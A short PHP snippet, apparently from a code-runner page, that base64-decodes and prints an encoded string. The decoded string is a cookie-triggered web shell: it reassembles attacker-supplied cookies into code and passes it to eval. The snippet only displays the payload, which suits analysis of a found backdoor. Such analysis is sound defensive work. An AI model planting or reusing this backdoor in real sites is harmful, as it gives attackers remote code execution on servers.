- var_dump: documentation ( source)
- base64_decode: documentation ( source)
<?php
$var='JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f==';
var_dump(base64_decode($var));